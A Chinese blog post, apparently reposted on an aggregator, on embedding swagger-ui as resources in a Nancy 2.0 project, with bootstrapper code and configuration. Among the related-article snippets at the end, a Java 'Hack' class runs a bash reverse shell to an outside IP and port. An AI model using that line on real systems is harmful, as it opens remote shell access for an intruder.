Nancy2.0引入Swagger并设置其为嵌入的资源

news2024/11/23 13:46:43

因为项目需求,需要在Nancy的基础上引入Swagger,万能的互联网上有现成的方案, 方案写的很详细,实际按文档也成功的实现了相应的功能,但因为我是在基础dll里包含了该功能,所以我希望swagger-ui是作为嵌入的资源,就跟Swashbuckle.AspNetCore一样,使用的时候只要简单的声明相关代码,而且在最终的发布目录里面,也不需要包含swagger-ui相关的目录。

参考Swashbuckle.AspNetCore的相关代码SwaggerUIMiddleware,发现swagger-ui的静态资源文件是通过StaticFileMiddleware来实现的,这是一个很值得参考的思路。虽然Nancy没有Middleware,但它作为一个开源项目,肯定存在类似的功能实现。

首先我先下载了Nancy.Swagger的源码以及它的官方帮助文档,期望从中找到它是否支持将swagger-ui作为嵌入的资源,但很遗憾,它设计思路上就是不支持!

于是我只能通过各种可能的关键字(嵌入资源、Embedded Resource等)在网上各种查找,终于找到了相关实现ResourceBootstrapper,原本我以为这是第三方实现,结果在Nancy的源码中,我居然发现需要用到的EmbeddedStaticContentConventionBuilder是已经存在了的!唯一有些差异的是,找到的例子代码是基于Nancy1.x的,而我们项目中用的是Nancy 2.0,不过略微摸索过后,最终还是成功的接入了此部分!

最终相关代码部分如下,通过自定义NancyBootstrapper类,注意ResourceViewLocationProvider.RootNamespaces.Add方法用到的命名空间需要按实际调整

    public class CustomBootstrapper : DefaultNancyBootstrapper
    {
        protected override void ApplicationStartup(TinyIoCContainer container, IPipelines pipelines)
        {
            base.ApplicationStartup(container, pipelines);
            //设置Nancy Swagger相关信息
            Nancy.Swagger.Services.SwaggerMetadataProvider.SetInfo("你的SwaggerTitle", "你的SwaggerVersion", "你的NancyHostSetting.SwaggerDesc");
            //强制指定是当前类所在的Assembly
            ResourceViewLocationProvider.RootNamespaces.Add(typeof(CustomBootstrapper).Assembly, "你嵌入的资源View所在的命名空间");
        }

        protected override Func<ITypeCatalog, NancyInternalConfiguration> InternalConfiguration
        {
            get
            {
                return NancyInternalConfiguration.WithOverrides(config =>
                {
                    config.ViewLocationProvider = typeof(ResourceViewLocationProvider);
                });
            }
        }

        //protected override Func<ITypeCatalog, NancyInternalConfiguration> InternalConfiguration => category =>
        //{
        //    var config = NancyInternalConfiguration.Default(category);
        //    config.ViewLocationProvider = typeof(ResourceViewLocationProvider);
        //    return config;
        //};

        protected override void ConfigureConventions(NancyConventions nancyConventions)
        {
            //设置静态资源路径
            var resource = EmbeddedStaticContentConventionBuilder.AddDirectory("/swagger-ui", typeof(CustomBootstrapper).Assembly);
            //typeof(CustomBootstrapper).Assembly 强制指定是当前类的Assembly
            //不能用this.GetType().Assembly,如果有新的Bootstrapper继承自当前类,那么this.GetType().Assembly获取到的是子类的Assembly
            nancyConventions.StaticContentsConventions.Add(resource);
            base.ConfigureConventions(nancyConventions);
        }
    }

而嵌入的资源部分呢,则简单的配置如下

  <ItemGroup>
    <EmbeddedResource Include="swagger-ui/**/*" Exclude="swagger-ui/*.map;swagger-ui/*.json;swagger-ui/*.md" />
  </ItemGroup>

有一点要注意的是,当存在多个INancyBootstrapper,且存在多级继承时,会出现无法识别继承关系的问题报错Located multiple bootstrappers,需要通过NancyBootstrapperLocator.Bootstrapper = new SomeCustomBootstrapper() 来指定。

补充下swagger-uiindex调整

<!-- HTML for static distribution bundle build -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Swagger UI</title>
    <link rel="stylesheet" type="text/css" href="./swagger-ui/swagger-ui.css" />
    <link rel="stylesheet" type="text/css" href="./swagger-ui/index.css" />
    <link rel="icon" type="image/png" href="./swagger-ui/favicon-32x32.png" sizes="32x32" />
    <link rel="icon" type="image/png" href="./swagger-ui/favicon-16x16.png" sizes="16x16" />
</head>

<body>
    <div id="swagger-ui"></div>
    <script src="./swagger-ui/swagger-ui-bundle.js" charset="UTF-8"></script>
    <script src="./swagger-ui/swagger-ui-standalone-preset.js" charset="UTF-8"></script>
    <script type="text/javascript">
          window.onload = function () {
              //<editor-fold desc="Changeable Configuration Block">

              // the following lines will be replaced by docker/configurator, when it runs in a docker-container
              window.ui = SwaggerUIBundle({
                  url: "@Model",
                  dom_id: '#swagger-ui',
                  deepLinking: true,
                  presets: [
                      SwaggerUIBundle.presets.apis,
                      SwaggerUIStandalonePreset
                  ],
                  plugins: [
                      SwaggerUIBundle.plugins.DownloadUrl
                  ],
                  layout: "StandaloneLayout"
              });

              //</editor-fold>
          };

    </script>
</body>
</html>

swagger-ui在项目中的目录结构如下
在这里插入图片描述

其它资料
swagger-ui的源码:https://github.com/swagger-api/swagger-ui

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974549.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实时操作系统Freertos开坑学习笔记:(七):队列

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、队列是什么&#xff1f;而在freertos中&#xff0c;队列是什么呢&#xff1f;①如果要进行中断、任务的交流&#xff0c;那我用全局变量行吗&#xff1f;②…

VMware虚拟机安装_新虚拟机创建_CentOS镜像导入_linux指令基本操作

文章目录 1 VMware下载安装1.1 下载网址1.2 安装步骤 2 创建虚拟机与CentOS镜像导入2.1 创建新虚拟机2.2 导入CentOS镜像 3 获取ip与连接Xshell3.1 查看虚拟机ip地址3.2 Xshell使用 1 VMware下载安装 1.1 下载网址 https://www.vmware.com/cn/products/workstation-pro/works…

MySQL的虚拟字段

MySQL中的虚拟字段指的是不实际存在于表中的逻辑字段,它们是在查询时由一些函数或表达式临时生成的。 参数&#xff1a;虚拟类型 在 MySQL 中,字段类型可以分为存储类型(Stored)和虚拟类型(Virtual)。存储类型是指实际存储在表中的数据类型,如 INT, VARCHAR, TEXT …

vue3 判断包含某个字符

<img v-if"node.level 1 && checkIfIncludeSubStr(node.label, 人口)"src"/assets/images/icon-convention-01.png" width"16"class"inlineBlock Vmiddle" style"margin-right: 8px;"/>const data reactive…

redis核心数据结构

redis下载地址&#xff1a;Download | Redis linux进入redis目录首先使用make命令进行c的编译&#xff0c;修改redis.conf文件&#xff1a; daemonize yes #后台启动 protected-mode no #关闭保护模式&#xff0c;开启的 # 需要注释掉bind #bind 127.0.0.1&#xff08;bind…

客户案例 | 华苑园林 移动SRM 集成ERP+电子签章,打通数字化最后一公里

公司简介 广州华苑园林股份有限公司始创于1995年&#xff0c;总部设立在广州&#xff0c;是集园林景观设计、工程施工、绿化养护、苗木生产与销售于一体的综合性、跨地区的大型园林企业。拥有城市园林绿化一级施工资质、风景园林设计专项乙级资质、环保工程专业承包叁级资质、…

优先级队列priority_queue以及仿函数的使用

目录 优先级队列priority_queuepriority_queue的模拟实现仿函数 优先级队列priority_queue 优先级队列priority_queue是一种容器适配器&#xff0c;根据严格的弱排序标准&#xff0c;它默认第一个元素总是它所包含的元素中最大的 优先级队列默认使用vector作为底层存储数据的…

《Effective软件测试》:让你的软件研发质量提升10倍的秘籍

前言&#xff1a; 软件测试是软件研发过程中不可或缺的一环&#xff0c;它关系到软件的功能、性能、安全和用户体验。然而&#xff0c;很多软件开发者和测试人员对软件测试的理解和实践还存在很多误区和不足&#xff0c;导致软件测试的效率和效果不尽人意&#xff0c;甚至造成软…

Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

全文链接&#xff1a;https://tecdat.cn/?p33550 时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的&#xff0c;具有特定频率&#xff0c;也可以是不规则间隔的&#xff0c;比如电话通话记录&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。…

mysql索引为什么提高查询速度(底层原理)

一、索引原理图 二、索引数据存储到硬盘而不是内存&#xff1f; 硬盘内存 成本低成本高 容量大容量小 读写速度一般读取速度快 断电后数据永久存储断电后数据清空 三、硬盘数据为什么要读取到内存&#xff1f;为啥不直接…

如何查看 SQLyog 中数据库连接信息中的密码

SQLyog 数据库连接信息中的密码无法选择明文展示&#xff0c;也无法复制 可以将数据库连接信息导出到文本查看明文密码 工具--》导入/导出连接详情&#xff1a;

软件设计模式系列之一——设计模式概述

1 设计模式的由来和概念 设计模式最早出现在建筑行业&#xff0c;是一位建筑领域的大牛&#xff0c;针对不同建筑物的建造方法进行了总结&#xff0c;针对类型相似的建筑场景&#xff0c;将较好的解决方案进行比较&#xff0c;提取了其中共性的套路规范&#xff0c;形成一定的设…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日&#xff0c;“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」&#xff0c;会上正式揭晓了「2023数字化运营生态大奖」的四大榜单&#xff0c;体验家XMPlus荣获「年度数智经营服务商」&#xff01;现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题&#xff0c;为什么我明明从新set了数据而页面视图没有变化&#xff0c;查了一下官方文档找到了答案&#xff0c;解决了这个问题&#xff0c;特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示&#xff0c;但是最近一段时间&#xff0c;发现串口无法正常显示&#xff0c;试了很多办法都不行&#xff0c; 然后今天干好有点时间就刷了个机&#xff0c;然后居然就好了&#xff0c; 这就说明&#xff1a;Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312&#xff08;全称&#xff1a;中国国家标准GB2312-80字符集&#xff09;和UTF-8&#xff08;全称&#xff1a;Unicode Transformation Format 8-bit&#xff09;是两种常见的字符编码方案。它们分别用于对文本进行编码&#xff0c;以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

描述 DCOUNT函数返回包含与您指定条件匹配的列表或数据库的列中的数字的单元格的计数。 语法 DCOUNT (database, field, criteria)争论 Argument描述Required/Optionaldatabase 组成列表或数据库的单元格范围。 数据库是相关数据的列表,其中相关信息的行是记录,数据的列是…

各类注意力机制Attention——可变形注意力

目录 《Attention is all you need 》稀疏Attention残差Attention通道注意力空间注意力时间注意力可变形注意力 《Attention is all you need 》 稀疏Attention 残差Attention 通道注意力 空间注意力 时间注意力 实际上序列类任务也属于时间注意力&#xff0c;比如transformer…

如何在mac上安装多版本python并配置PATH

摘要 mac 默认安装的python是 python3&#xff0c;但是如果我们需要其他python版本时&#xff0c;该怎么办呢&#xff1f; 例如&#xff1a;需要python2 版本&#xff0c;如果使用homebrew安装会提示没有python2。同时使用python --version 会发现commond not found。 所以本…